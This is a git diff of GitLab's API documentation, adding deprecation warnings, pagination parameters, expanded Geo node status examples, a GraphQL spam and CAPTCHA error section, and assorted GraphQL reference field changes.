self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-dora4-analytics-group-api). **(ULTIMATE SELF)** +> - [Deployed behind a feature flag](../user/feature_flags.md), disabled by default. +> - Disabled on GitLab.com. +> - Not recommended for production use. +> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-dora4-analytics-group-api). + +WARNING: +These endpoints are deprecated and will be removed in GitLab 14.0. Use the [DORA metrics API](dora/metrics.md) instead. WARNING: This feature might not be available to you. Check the **version history** note above for details. diff --git a/doc/api/dora4_project_analytics.md b/doc/api/dora4_project_analytics.md index 43250d88701..efea9723ac4 100644 --- a/doc/api/dora4_project_analytics.md +++ b/doc/api/dora4_project_analytics.md @@ -9,6 +9,9 @@ type: reference, api > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/279039) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.7. +WARNING: +These endpoints are deprecated and will be removed in GitLab 14.0. Use the [DORA metrics API](dora/metrics.md) instead. + All methods require reporter authorization. ## List project deployment frequencies diff --git a/doc/api/epic_issues.md b/doc/api/epic_issues.md index 17115f65b90..c4a8e2d40cc 100644 --- a/doc/api/epic_issues.md +++ b/doc/api/epic_issues.md @@ -14,6 +14,11 @@ results in a `404` status code. Epics are available only in GitLab [Premium and higher](https://about.gitlab.com/pricing/). If the Epics feature is not available, a `403` status code is returned. +## Epic Issues pagination + +API results [are paginated](README.md#pagination). Requests that return +multiple issues default to returning 20 results at a time. + ## List issues for an epic Gets all issues that are assigned to an epic and the authenticated user has access to. diff --git a/doc/api/error_tracking.md b/doc/api/error_tracking.md index c737edbdc44..306383c2de7 100644 --- a/doc/api/error_tracking.md +++ b/doc/api/error_tracking.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/api/events.md b/doc/api/events.md index e2ff779f3bf..38d2c934061 100644 --- a/doc/api/events.md +++ b/doc/api/events.md @@ -151,6 +151,8 @@ Parameters: | `before` | date | no | Include only events created before a particular date. Please see [here for the supported format](#date-formatting) | | `after` | date | no | Include only events created after a particular date. Please see [here for the supported format](#date-formatting) | | `sort` | string | no | Sort events in `asc` or `desc` order by `created_at`. Default is `desc` | +| `page` | integer | no | The page of results to return. Defaults to 1. | +| `per_page` | integer | no | The number of results per page. Defaults to 20. | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/users/:id/events" diff --git a/doc/api/feature_flags.md b/doc/api/feature_flags.md index 59f20e66ae8..fa5481b12a7 100644 --- a/doc/api/feature_flags.md +++ b/doc/api/feature_flags.md @@ -6,9 +6,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Feature Flags API **(FREE)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9566) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.5. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Starter](https://about.gitlab.com/pricing/) in 13.4. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Free](https://about.gitlab.com/pricing/) in 13.5. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9566) in GitLab Premium 12.5. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to GitLab Free in 13.5. API for accessing resources of [GitLab Feature Flags](../operations/feature_flags.md). diff --git a/doc/api/feature_flags_legacy.md b/doc/api/feature_flags_legacy.md index 33ea2727fb9..6e0763b6015 100644 --- a/doc/api/feature_flags_legacy.md +++ b/doc/api/feature_flags_legacy.md @@ -6,9 +6,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Legacy Feature Flags API **(FREE)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9566) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.5. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Starter](https://about.gitlab.com/pricing/) in 13.4. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Free](https://about.gitlab.com/pricing/) in 13.5. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9566) in GitLab Premium 12.5. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to GitLab Free in 13.5. WARNING: This API is deprecated and [scheduled for removal in GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/213369). Use [this API](feature_flags.md) instead. diff --git a/doc/api/geo_nodes.md b/doc/api/geo_nodes.md index 0401680b016..38f11d8dfe2 100644 --- a/doc/api/geo_nodes.md +++ b/doc/api/geo_nodes.md @@ -372,23 +372,78 @@ Example response: "last_successful_status_check_timestamp": 1510125024, "version": "10.3.0", "revision": "33d33a096a", - "package_files_count": 10, - "package_files_checksummed_count": 10, + "merge_request_diffs_count": 5, + "merge_request_diffs_checksum_total_count": 5, + "merge_request_diffs_checksummed_count": 5, + "merge_request_diffs_checksum_failed_count": 0, + "merge_request_diffs_synced_count": null, + "merge_request_diffs_failed_count": null, + "merge_request_diffs_registry_count": null, + "merge_request_diffs_verification_total_count": null, + "merge_request_diffs_verified_count": null, + "merge_request_diffs_verification_failed_count": null, + "merge_request_diffs_synced_in_percentage": "0.00%", + "merge_request_diffs_verified_in_percentage": "0.00%", + "package_files_count": 5, + "package_files_checksum_total_count": 5, + "package_files_checksummed_count": 5, "package_files_checksum_failed_count": 0, - "package_files_registry_count": 10, - "package_files_synced_count": 6, - "package_files_failed_count": 3, - "snippet_repositories_count": 10, - "snippet_repositories_checksummed_count": 10, + "package_files_synced_count": null, + "package_files_failed_count": null, + "package_files_registry_count": null, + "package_files_verification_total_count": null, + "package_files_verified_count": null, + "package_files_verification_failed_count": null, + "package_files_synced_in_percentage": "0.00%", + "package_files_verified_in_percentage": "0.00%", + "terraform_state_versions_count": 5, + "terraform_state_versions_checksum_total_count": 5, + "terraform_state_versions_checksummed_count": 5, + "terraform_state_versions_checksum_failed_count": 0, + "terraform_state_versions_synced_count": null, + "terraform_state_versions_failed_count": null, + "terraform_state_versions_registry_count": null, + "terraform_state_versions_verification_total_count": null, + "terraform_state_versions_verified_count": null, + "terraform_state_versions_verification_failed_count": null, + "terraform_state_versions_synced_in_percentage": "0.00%", + "terraform_state_versions_verified_in_percentage": "0.00%", + "snippet_repositories_count": 5, + "snippet_repositories_checksum_total_count": 5, + "snippet_repositories_checksummed_count": 5, "snippet_repositories_checksum_failed_count": 0, - "snippet_repositories_registry_count": 10, - "snippet_repositories_synced_count": 6, - "snippet_repositories_failed_count": 3, - "group_wiki_repositories_checksummed_count": 10, + "snippet_repositories_synced_count": null, + "snippet_repositories_failed_count": null, + "snippet_repositories_registry_count": null, + "snippet_repositories_verification_total_count": null, + "snippet_repositories_verified_count": null, + "snippet_repositories_verification_failed_count": null, + "snippet_repositories_synced_in_percentage": "0.00%", + "snippet_repositories_verified_in_percentage": "0.00%", + "group_wiki_repositories_count": 5, + "group_wiki_repositories_checksum_total_count": 5, + "group_wiki_repositories_checksummed_count": 5, "group_wiki_repositories_checksum_failed_count": 0, - "group_wiki_repositories_registry_count": 10, - "group_wiki_repositories_synced_count": 6, - "group_wiki_repositories_failed_count": 3 + "group_wiki_repositories_synced_count": null, + "group_wiki_repositories_failed_count": null, + "group_wiki_repositories_registry_count": null, + "group_wiki_repositories_verification_total_count": null, + "group_wiki_repositories_verified_count": null, + "group_wiki_repositories_verification_failed_count": null, + "group_wiki_repositories_synced_in_percentage": "0.00%", + "group_wiki_repositories_verified_in_percentage": "0.00%", + "pipeline_artifacts_count": 5, + "pipeline_artifacts_checksum_total_count": 5, + "pipeline_artifacts_checksummed_count": 5, + "pipeline_artifacts_checksum_failed_count": 0, + "pipeline_artifacts_synced_count": null, + "pipeline_artifacts_failed_count": null, + "pipeline_artifacts_registry_count": null, + "pipeline_artifacts_verification_total_count": null, + "pipeline_artifacts_verified_count": null, + "pipeline_artifacts_verification_failed_count": null, + "pipeline_artifacts_synced_in_percentage": "0.00%", + "pipeline_artifacts_verified_in_percentage": "0.00%", }, { "geo_node_id": 2, @@ -459,35 +514,78 @@ Example response: "last_successful_status_check_timestamp": 1510125024, "version": "10.3.0", "revision": "33d33a096a", - "merge_request_diffs_count": 12, - "merge_request_diffs_checksummed_count": 8, + "merge_request_diffs_count": 5, + "merge_request_diffs_checksum_total_count": 5, + "merge_request_diffs_checksummed_count": 5, "merge_request_diffs_checksum_failed_count": 0, - "merge_request_diffs_registry_count": 12, - "merge_request_diffs_synced_count": 9, - "merge_request_diffs_failed_count": 3, - "package_files_count": 10, - "package_files_checksummed_count": 10, + "merge_request_diffs_synced_count": 5, + "merge_request_diffs_failed_count": 0, + "merge_request_diffs_registry_count": 5, + "merge_request_diffs_verification_total_count": 5, + "merge_request_diffs_verified_count": 5, + "merge_request_diffs_verification_failed_count": 0, + "merge_request_diffs_synced_in_percentage": "100.00%", + "merge_request_diffs_verified_in_percentage": "100.00%", + "package_files_count": 5, + "package_files_checksum_total_count": 5, + "package_files_checksummed_count": 5, "package_files_checksum_failed_count": 0, - "package_files_registry_count": 10, - "package_files_synced_count": 6, - "package_files_failed_count": 3, - "terraform_state_versions_count": 10, - "terraform_state_versions_checksummed_count": 10, + "package_files_synced_count": 5, + "package_files_failed_count": 0, + "package_files_registry_count": 5, + "package_files_verification_total_count": 5, + "package_files_verified_count": 5, + "package_files_verification_failed_count": 0, + "package_files_synced_in_percentage": "100.00%", + "package_files_verified_in_percentage": "100.00%", + "terraform_state_versions_count": 5, + "terraform_state_versions_checksum_total_count": 5, + "terraform_state_versions_checksummed_count": 5, "terraform_state_versions_checksum_failed_count": 0, - "terraform_state_versions_registry_count": 10, - "terraform_state_versions_synced_count": 6, - "terraform_state_versions_failed_count": 3, - "snippet_repositories_count": 10, - "snippet_repositories_checksummed_count": 10, + "terraform_state_versions_synced_count": 5, + "terraform_state_versions_failed_count": 0, + "terraform_state_versions_registry_count": 5, + "terraform_state_versions_verification_total_count": 5, + "terraform_state_versions_verified_count": 5, + "terraform_state_versions_verification_failed_count": 0, + "terraform_state_versions_synced_in_percentage": "100.00%", + "terraform_state_versions_verified_in_percentage": "100.00%", + "snippet_repositories_count": 5, + "snippet_repositories_checksum_total_count": 5, + "snippet_repositories_checksummed_count": 5, "snippet_repositories_checksum_failed_count": 0, - "snippet_repositories_registry_count": 10, - "snippet_repositories_synced_count": 6, - "snippet_repositories_failed_count": 3, - "group_wiki_repositories_checksummed_count": 10, + "snippet_repositories_synced_count": 5, + "snippet_repositories_failed_count": 0, + "snippet_repositories_registry_count": 5, + "snippet_repositories_verification_total_count": 5, + "snippet_repositories_verified_count": 5, + "snippet_repositories_verification_failed_count": 0, + "snippet_repositories_synced_in_percentage": "100.00%", + "snippet_repositories_verified_in_percentage": "100.00%", + "group_wiki_repositories_count": 5, + "group_wiki_repositories_checksum_total_count": 5, + "group_wiki_repositories_checksummed_count": 5, "group_wiki_repositories_checksum_failed_count": 0, - "group_wiki_repositories_registry_count": 10, - "group_wiki_repositories_synced_count": 6, - "group_wiki_repositories_failed_count": 3 + "group_wiki_repositories_synced_count": 5, + "group_wiki_repositories_failed_count": 0, + "group_wiki_repositories_registry_count": 5, + "group_wiki_repositories_verification_total_count": 5, + "group_wiki_repositories_verified_count": 5, + "group_wiki_repositories_verification_failed_count": 0, + "group_wiki_repositories_synced_in_percentage": "100.00%", + "group_wiki_repositories_verified_in_percentage": "100.00%", + "pipeline_artifacts_count": 5, + "pipeline_artifacts_checksum_total_count": 5, + "pipeline_artifacts_checksummed_count": 5, + "pipeline_artifacts_checksum_failed_count": 0, + "pipeline_artifacts_synced_count": 5, + "pipeline_artifacts_failed_count": 0, + "pipeline_artifacts_registry_count": 5, + "pipeline_artifacts_verification_total_count": 5, + "pipeline_artifacts_verified_count": 5, + "pipeline_artifacts_verification_failed_count": 0, + "pipeline_artifacts_synced_in_percentage": "100.00%", + "pipeline_artifacts_verified_in_percentage": "100.00%", } ] ``` @@ -554,7 +652,79 @@ Example response: "cursor_last_event_timestamp": 1509681166, "last_successful_status_check_timestamp": 1510125268, "version": "10.3.0", - "revision": "33d33a096a" + "revision": "33d33a096a", + "merge_request_diffs_count": 5, + "merge_request_diffs_checksum_total_count": 5, + "merge_request_diffs_checksummed_count": 5, + "merge_request_diffs_checksum_failed_count": 0, + "merge_request_diffs_synced_count": 5, + "merge_request_diffs_failed_count": 0, + "merge_request_diffs_registry_count": 5, + "merge_request_diffs_verification_total_count": 5, + "merge_request_diffs_verified_count": 5, + "merge_request_diffs_verification_failed_count": 0, + "merge_request_diffs_synced_in_percentage": "100.00%", + "merge_request_diffs_verified_in_percentage": "100.00%", + "package_files_count": 5, + "package_files_checksum_total_count": 5, + "package_files_checksummed_count": 5, + "package_files_checksum_failed_count": 0, + "package_files_synced_count": 5, + "package_files_failed_count": 0, + "package_files_registry_count": 5, + "package_files_verification_total_count": 5, + "package_files_verified_count": 5, + "package_files_verification_failed_count": 0, + "package_files_synced_in_percentage": "100.00%", + "package_files_verified_in_percentage": "100.00%", + "terraform_state_versions_count": 5, + "terraform_state_versions_checksum_total_count": 5, + "terraform_state_versions_checksummed_count": 5, + "terraform_state_versions_checksum_failed_count": 0, + "terraform_state_versions_synced_count": 5, + "terraform_state_versions_failed_count": 0, + "terraform_state_versions_registry_count": 5, + "terraform_state_versions_verification_total_count": 5, + "terraform_state_versions_verified_count": 5, + "terraform_state_versions_verification_failed_count": 0, + "terraform_state_versions_synced_in_percentage": "100.00%", + "terraform_state_versions_verified_in_percentage": "100.00%", + "snippet_repositories_count": 5, + "snippet_repositories_checksum_total_count": 5, + "snippet_repositories_checksummed_count": 5, + "snippet_repositories_checksum_failed_count": 0, + "snippet_repositories_synced_count": 5, + "snippet_repositories_failed_count": 0, + "snippet_repositories_registry_count": 5, + "snippet_repositories_verification_total_count": 5, + "snippet_repositories_verified_count": 5, + "snippet_repositories_verification_failed_count": 0, + "snippet_repositories_synced_in_percentage": "100.00%", + "snippet_repositories_verified_in_percentage": "100.00%", + "group_wiki_repositories_count": 5, + "group_wiki_repositories_checksum_total_count": 5, + "group_wiki_repositories_checksummed_count": 5, + "group_wiki_repositories_checksum_failed_count": 0, + "group_wiki_repositories_synced_count": 5, + "group_wiki_repositories_failed_count": 0, + "group_wiki_repositories_registry_count": 5, + "group_wiki_repositories_verification_total_count": 5, + "group_wiki_repositories_verified_count": 5, + "group_wiki_repositories_verification_failed_count": 0, + "group_wiki_repositories_synced_in_percentage": "100.00%", + "group_wiki_repositories_verified_in_percentage": "100.00%", + "pipeline_artifacts_count": 5, + "pipeline_artifacts_checksum_total_count": 5, + "pipeline_artifacts_checksummed_count": 5, + "pipeline_artifacts_checksum_failed_count": 0, + "pipeline_artifacts_synced_count": 5, + "pipeline_artifacts_failed_count": 0, + "pipeline_artifacts_registry_count": 5, + "pipeline_artifacts_verification_total_count": 5, + "pipeline_artifacts_verified_count": 5, + "pipeline_artifacts_verification_failed_count": 0, + "pipeline_artifacts_synced_in_percentage": "100.00%", + "pipeline_artifacts_verified_in_percentage": "100.00%", } ``` diff --git a/doc/api/graphql/getting_started.md b/doc/api/graphql/getting_started.md index 1b7e273f7a1..fe92b17a121 100644 --- a/doc/api/graphql/getting_started.md +++ b/doc/api/graphql/getting_started.md @@ -34,7 +34,7 @@ curl "https://gitlab.com/api/graphql" --header "Authorization: Bearer $GRAPHQL_T ### GraphiQL -GraphiQL (pronounced “graphical”) allows you to run queries directly against the server endpoint +GraphiQL (pronounced "graphical") allows you to run queries directly against the server endpoint with syntax highlighting and autocomplete. It also allows you to explore the schema and types. The examples below: diff --git a/doc/api/graphql/index.md b/doc/api/graphql/index.md index 7bbc2029d96..ace41e0e92d 100644 --- a/doc/api/graphql/index.md +++ b/doc/api/graphql/index.md @@ -70,7 +70,7 @@ possible. The GitLab GraphQL API is [versionless](https://graphql.org/learn/best-practices/#versioning) and changes are made to the API in a way that maintains backwards-compatibility. -Occassionally GitLab needs to change the GraphQL API in a way that is not backwards-compatible. +Occasionally GitLab needs to change the GraphQL API in a way that is not backwards-compatible. These changes include the removal or renaming of fields, arguments or other parts of the schema. In these situations, GitLab follows a [Deprecation and removal process](#deprecation-and-removal-process) @@ -177,6 +177,59 @@ of a query may be altered. Requests time out at 30 seconds. +### Spam + +GraphQL mutations can be detected as spam. If this happens, a +[GraphQL top-level error](https://spec.graphql.org/June2018/#sec-Errors) is raised. For example: + +```json +{ + "errors": [ + { + "message": "Request denied. Spam detected", + "locations": [ { "line": 6, "column": 7 } ], + "path": [ "updateSnippet" ], + "extensions": { + "spam": true + } + } + ], + "data": { + "updateSnippet": { + "snippet": null + } + } +} +``` + +If mutation is detected as potential spam and a CAPTCHA service is configured: + +- The `captchaSiteKey` should be used to obtain a CAPTCHA response value using the appropriate CAPTCHA API. + Only [Google reCAPTCHA v2](https://developers.google.com/recaptcha/docs/display) is supported. +- The request can be resubmitted with the `X-GitLab-Captcha-Response` and `X-GitLab-Spam-Log-Id` headers set. + +```json +{ + "errors": [ + { + "message": "Request denied. Solve CAPTCHA challenge and retry", + "locations": [ { "line": 6, "column": 7 } ], + "path": [ "updateSnippet" ], + "extensions": { + "needsCaptchaResponse": true, + "captchaSiteKey": "6LeIxAcTAAAAAJcZVRqyHh71UMIEGNQ_MXjiZKhI", + "spamLogId": 67 + } + } + ], + "data": { + "updateSnippet": { + "snippet": null, + } + } +} +``` + ## Reference The GitLab GraphQL reference [is available](reference/index.md). diff --git a/doc/api/graphql/reference/index.md b/doc/api/graphql/reference/index.md index b395dc19681..e353346b0b1 100644 --- a/doc/api/graphql/reference/index.md +++ b/doc/api/graphql/reference/index.md @@ -38,7 +38,8 @@ Returns [`CiApplicationSettings`](#ciapplicationsettings). ### `ciConfig` -Get linted and processed contents of a CI config. Should not be requested more than once per request. +Linted and processed contents of a CI config. +Should not be requested more than once per request. Returns [`CiConfig`](#ciconfig). @@ -62,6 +63,12 @@ Returns [`ContainerRepositoryDetails`](#containerrepositorydetails). | ---- | ---- | ----------- | | `id` | [`ContainerRepositoryID!`](#containerrepositoryid) | The global ID of the container repository. | +### `currentLicense` + +Fields related to the current license. + +Returns [`CurrentLicense`](#currentlicense). + ### `currentUser` Get information about current user. @@ -93,7 +100,7 @@ Returns [`DevopsAdoptionSegmentConnection`](#devopsadoptionsegmentconnection). ### `echo` -Text to echo back. +Testing endpoint to validate the API with. Returns [`String!`](#string). @@ -135,7 +142,12 @@ Returns [`InstanceSecurityDashboard`](#instancesecuritydashboard). ### `instanceStatisticsMeasurements` -Get statistics on the instance. Deprecated in 13.10: This field was renamed. Use the `usageTrendsMeasurements` field instead. +Get statistics on the instance. + +WARNING: +**Deprecated** in 13.10. +This was renamed. +Use: `Query.usageTrendsMeasurements`. Returns [`UsageTrendsMeasurementConnection`](#usagetrendsmeasurementconnection). @@ -175,6 +187,21 @@ Returns [`Iteration`](#iteration). | ---- | ---- | ----------- | | `id` | [`IterationID!`](#iterationid) | Find an iteration by its ID. | +### `licenseHistoryEntries` + +Fields related to entries in the license history. + +Returns [`LicenseHistoryEntryConnection`](#licensehistoryentryconnection). + +#### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| `after` | [`String`](#string) | Returns the elements in the list that come after the specified cursor. | +| `before` | [`String`](#string) | Returns the elements in the list that come before the specified cursor. | +| `first` | [`Int`](#int) | Returns the first _n_ elements from the list. | +| `last` | [`Int`](#int) | Returns the last _n_ elements from the list. | + ### `metadata` Metadata about GitLab. @@ -209,7 +236,7 @@ Returns [`Namespace`](#namespace). Find a package. -Returns [`Package`](#package). +Returns [`PackageDetailsType`](#packagedetailstype). #### Arguments @@ -266,7 +293,7 @@ Returns [`RunnerPlatformConnection`](#runnerplatformconnection). ### `runnerSetup` -Get runner setup instructions. +Runner setup instructions. Returns [`RunnerSetup`](#runnersetup). @@ -275,9 +302,9 @@ Returns [`RunnerSetup`](#runnersetup). | Name | Type | Description | | ---- | ---- | ----------- | | `architecture` | [`String!`](#string) | Architecture to generate the instructions for. | -| `groupId` | [`GroupID`](#groupid) | Group to register the runner for. | +| `groupId` | [`GroupID`](#groupid) | Group to register the runner for. Deprecated in 13.11: No longer used. | | `platform` | [`String!`](#string) | Platform to generate the instructions for. | -| `projectId` | [`ProjectID`](#projectid) | Project to register the runner for. | +| `projectId` | [`ProjectID`](#projectid) | Project to register the runner for. Deprecated in 13.11: No longer used. | ### `snippets` @@ -370,6 +397,7 @@ Returns [`VulnerabilityConnection`](#vulnerabilityconnection). | `projectId` | [`[ID!]`](#id) | Filter vulnerabilities by project. | | `reportType` | [`[VulnerabilityReportType!]`](#vulnerabilityreporttype) | Filter vulnerabilities by report type. | | `scanner` | [`[String!]`](#string) | Filter vulnerabilities by VulnerabilityScanner.externalId. | +| `scannerId` | [`[VulnerabilitiesScannerID!]`](#vulnerabilitiesscannerid) | Filter vulnerabilities by scanner ID. | | `severity` | [`[VulnerabilitySeverity!]`](#vulnerabilityseverity) | Filter vulnerabilities by severity. | | `sort` | [`VulnerabilitySort`](#vulnerabilitysort) | List vulnerabilities by sort order. | | `state` | [`[VulnerabilityState!]`](#vulnerabilitystate) | Filter vulnerabilities by state. | @@ -393,7 +421,14 @@ Returns [`VulnerabilitiesCountByDayConnection`](#vulnerabilitiescountbydayconnec ### `vulnerabilitiesCountByDayAndSeverity` -Number of vulnerabilities per severity level, per day, for the projects on the current user's instance security dashboard. Deprecated in 13.3: Use `vulnerabilitiesCountByDay`. +Number of vulnerabilities per severity level, per day, for the projects on the +current user's instance security dashboard. +. + +WARNING: +**Deprecated** in 13.3. +Use of this is not recommended. +Use: `Query.vulnerabilitiesCountByDay`. Returns [`VulnerabilitiesCountByDayAndSeverityConnection`](#vulnerabilitiescountbydayandseverityconnection). @@ -488,7 +523,7 @@ Describes an alert from the project's Alert Management. | `hosts` | [`[String!]`](#string) | List of hosts the alert came from. | | `iid` | [`ID!`](#id) | Internal ID of the alert. | | `issue` | [`Issue`](#issue) | Issue attached to the alert. | -| `issueIid` **{warning-solid}** | [`ID`](#id) | **Deprecated:** Use issue field. Deprecated in 13.10. | +| `issueIid` **{warning-solid}** | [`ID`](#id) | **Deprecated** in 13.10. Use issue field. | | `metricsDashboardUrl` | [`String`](#string) | URL for metrics embed for the alert. | | `monitoringTool` | [`String`](#string) | Monitoring tool the alert came from. | | `notes` | [`NoteConnection!`](#noteconnection) | All notes on this noteable. | @@ -527,12 +562,12 @@ Represents total number of alerts for the represented categories. | Field | Type | Description | | ----- | ---- | ----------- | -| `acknowledged` | [`Int`](#int) | Number of alerts with status ACKNOWLEDGED for the project | +| `acknowledged` | [`Int`](#int) | Number of alerts with status ACKNOWLEDGED for the project. | | `all` | [`Int`](#int) | Total number of alerts for the project. | -| `ignored` | [`Int`](#int) | Number of alerts with status IGNORED for the project | +| `ignored` | [`Int`](#int) | Number of alerts with status IGNORED for the project. | | `open` | [`Int`](#int) | Number of alerts with status TRIGGERED or ACKNOWLEDGED for the project. | -| `resolved` | [`Int`](#int) | Number of alerts with status RESOLVED for the project | -| `triggered` | [`Int`](#int) | Number of alerts with status TRIGGERED for the project | +| `resolved` | [`Int`](#int) | Number of alerts with status RESOLVED for the project. | +| `triggered` | [`Int`](#int) | Number of alerts with status TRIGGERED for the project. | ### `AlertManagementHttpIntegration` @@ -596,7 +631,7 @@ Parsed field from an alert used for custom mappings. | Field | Type | Description | | ----- | ---- | ----------- | | `label` | [`String`](#string) | Human-readable label of the payload path. | -| `path` | [`[String!]`](#string) | Path to value inside payload JSON. | +| `path` | [`[PayloadAlertFieldPathSegment!]`](#payloadalertfieldpathsegment) | Path to value inside payload JSON. | | `type` | [`AlertManagementPayloadAlertFieldType`](#alertmanagementpayloadalertfieldtype) | Type of the parsed value. | ### `AlertManagementPayloadAlertMappingField` @@ -607,7 +642,7 @@ Parsed field (with its name) from an alert used for custom mappings. | ----- | ---- | ----------- | | `fieldName` | [`AlertManagementPayloadAlertFieldName`](#alertmanagementpayloadalertfieldname) | A GitLab alert field name. | | `label` | [`String`](#string) | Human-readable label of the payload path. | -| `path` | [`[String!]`](#string) | Path to value inside payload JSON. | +| `path` | [`[PayloadAlertFieldPathSegment!]`](#payloadalertfieldpathsegment) | Path to value inside payload JSON. | | `type` | [`AlertManagementPayloadAlertFieldType`](#alertmanagementpayloadalertfieldtype) | Type of the parsed value. | ### `AlertManagementPrometheusIntegration` @@ -678,6 +713,16 @@ An API Fuzzing scan profile. | `name` | [`String`](#string) | The unique name of the profile. | | `yaml` | [`String`](#string) | A syntax highlit HTML representation of the YAML. | +### `ApprovalRule` + +Describes a rule for who can approve merge requests. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `id` | [`GlobalID!`](#globalid) | ID of the rule. | +| `name` | [`String`](#string) | Name of the rule. | +| `type` | [`ApprovalRuleType`](#approvalruletype) | Type of the rule. | + ### `AwardEmoji` An emoji awarded by a user. @@ -789,6 +834,7 @@ Represents a project or group issue board. | Field | Type | Description | | ----- | ---- | ----------- | | `assignee` | [`User`](#user) | The board assignee. | +| `createdAt` | [`Time!`](#time) | Timestamp of when the board was created. | | `epics` | [`BoardEpicConnection`](#boardepicconnection) | Epics associated with board issues. | | `hideBacklogList` | [`Boolean`](#boolean) | Whether or not backlog list is hidden. | | `hideClosedList` | [`Boolean`](#boolean) | Whether or not closed list is hidden. | @@ -798,6 +844,7 @@ Represents a project or group issue board. | `lists` | [`BoardListConnection`](#boardlistconnection) | Lists of the board. | | `milestone` | [`Milestone`](#milestone) | The board milestone. | | `name` | [`String`](#string) | Name of the board. | +| `updatedAt` | [`Time!`](#time) | Timestamp of when the board was last updated. | | `webPath` | [`String!`](#string) | Web path of the board. | | `webUrl` | [`String!`](#string) | Web URL of the board. | | `weight` | [`Int`](#int) | Weight of the board. | @@ -837,6 +884,7 @@ Represents an epic on an issue board. | `descendantCounts` | [`EpicDescendantCount`](#epicdescendantcount) | Number of open and closed descendant epics and issues. | | `descendantWeightSum` | [`EpicDescendantWeights`](#epicdescendantweights) | Total weight of open and closed issues in the epic and its descendants. | | `description` | [`String`](#string) | Description of the epic. | +| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | | `discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. | | `downvotes` | [`Int!`](#int) | Number of downvotes the epic has received. | | `dueDate` | [`Time`](#time) | Due date of the epic. | @@ -866,11 +914,12 @@ Represents an epic on an issue board. | `state` | [`EpicState!`](#epicstate) | State of the epic. | | `subscribed` | [`Boolean!`](#boolean) | Indicates the currently logged in user is subscribed to the epic. | | `title` | [`String`](#string) | Title of the epic. | +| `titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title`. | | `updatedAt` | [`Time`](#time) | Timestamp of when the epic was updated. | | `upvotes` | [`Int!`](#int) | Number of upvotes the epic has received. | | `userDiscussionsCount` | [`Int!`](#int) | Number of user discussions in the epic. | | `userNotesCount` | [`Int!`](#int) | Number of user notes of the epic. | -| `userPermissions` | [`EpicPermissions!`](#epicpermissions) | Permissions for the current user on the resource | +| `userPermissions` | [`EpicPermissions!`](#epicpermissions) | Permissions for the current user on the resource. | | `userPreferences` | [`BoardEpicUserPreferences`](#boardepicuserpreferences) | User preferences for the epic on the issue board. | | `webPath` | [`String!`](#string) | Web path of the epic. | | `webUrl` | [`String!`](#string) | Web URL of the epic. | @@ -1029,6 +1078,7 @@ Autogenerated return type of CiCdSettingsUpdate. | Field | Type | Description | | ----- | ---- | ----------- | +| `ciCdSettings` | [`ProjectCiCdSetting!`](#projectcicdsetting) | The CI/CD settings after mutation. | | `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | @@ -1194,14 +1244,32 @@ An edge in a connection. | Field | Type | Description | | ----- | ---- | ----------- | +| `active` | [`Boolean!`](#boolean) | Indicates the job is active. | +| `allowFailure` | [`Boolean!`](#boolean) | Whether this job is allowed to fail. | | `artifacts` | [`CiJobArtifactConnection`](#cijobartifactconnection) | Artifacts generated by the job. | +| `cancelable` | [`Boolean!`](#boolean) | Indicates the job can be canceled. | +| `commitPath` | [`String`](#string) | Path to the commit that triggered the job. | +| `coverage` | [`Float`](#float) | Coverage level of the job. | +| `createdAt` | [`Time!`](#time) | When the job was created. | | `detailedStatus` | [`DetailedStatus`](#detailedstatus) | Detailed status of the job. | | `duration` | [`Int`](#int) | Duration of the job in seconds. | | `finishedAt` | [`Time`](#time) | When a job has finished running. | +| `id` | [`JobID`](#jobid) | ID of the job. | | `name` | [`String`](#string) | Name of the job. | | `needs` | [`CiBuildNeedConnection`](#cibuildneedconnection) | References to builds that must complete before the jobs run. | | `pipeline` | [`Pipeline`](#pipeline) | Pipeline the job belongs to. | +| `playable` | [`Boolean!`](#boolean) | Indicates the job can be played. | +| `queuedAt` | [`Time`](#time) | When the job was enqueued and marked as pending. | +| `refName` | [`String`](#string) | Ref name of the job. | +| `refPath` | [`String`](#string) | Path to the ref. | +| `retryable` | [`Boolean!`](#boolean) | Indicates the job can be retried. | | `scheduledAt` | [`Time`](#time) | Schedule for the build. | +| `schedulingType` | [`String`](#string) | Type of pipeline scheduling. Value is `dag` if the pipeline uses the `needs` keyword, and `stage` otherwise. | +| `shortSha` | [`String!`](#string) | Short SHA1 ID of the commit. | +| `stage` | [`CiStage`](#cistage) | Stage of the job. | +| `startedAt` | [`Time`](#time) | When the job was started. | +| `status` | [`CiJobStatus`](#cijobstatus) | Status of the job. | +| `tags` | [`[String!]`](#string) | Tags for the current job. | ### 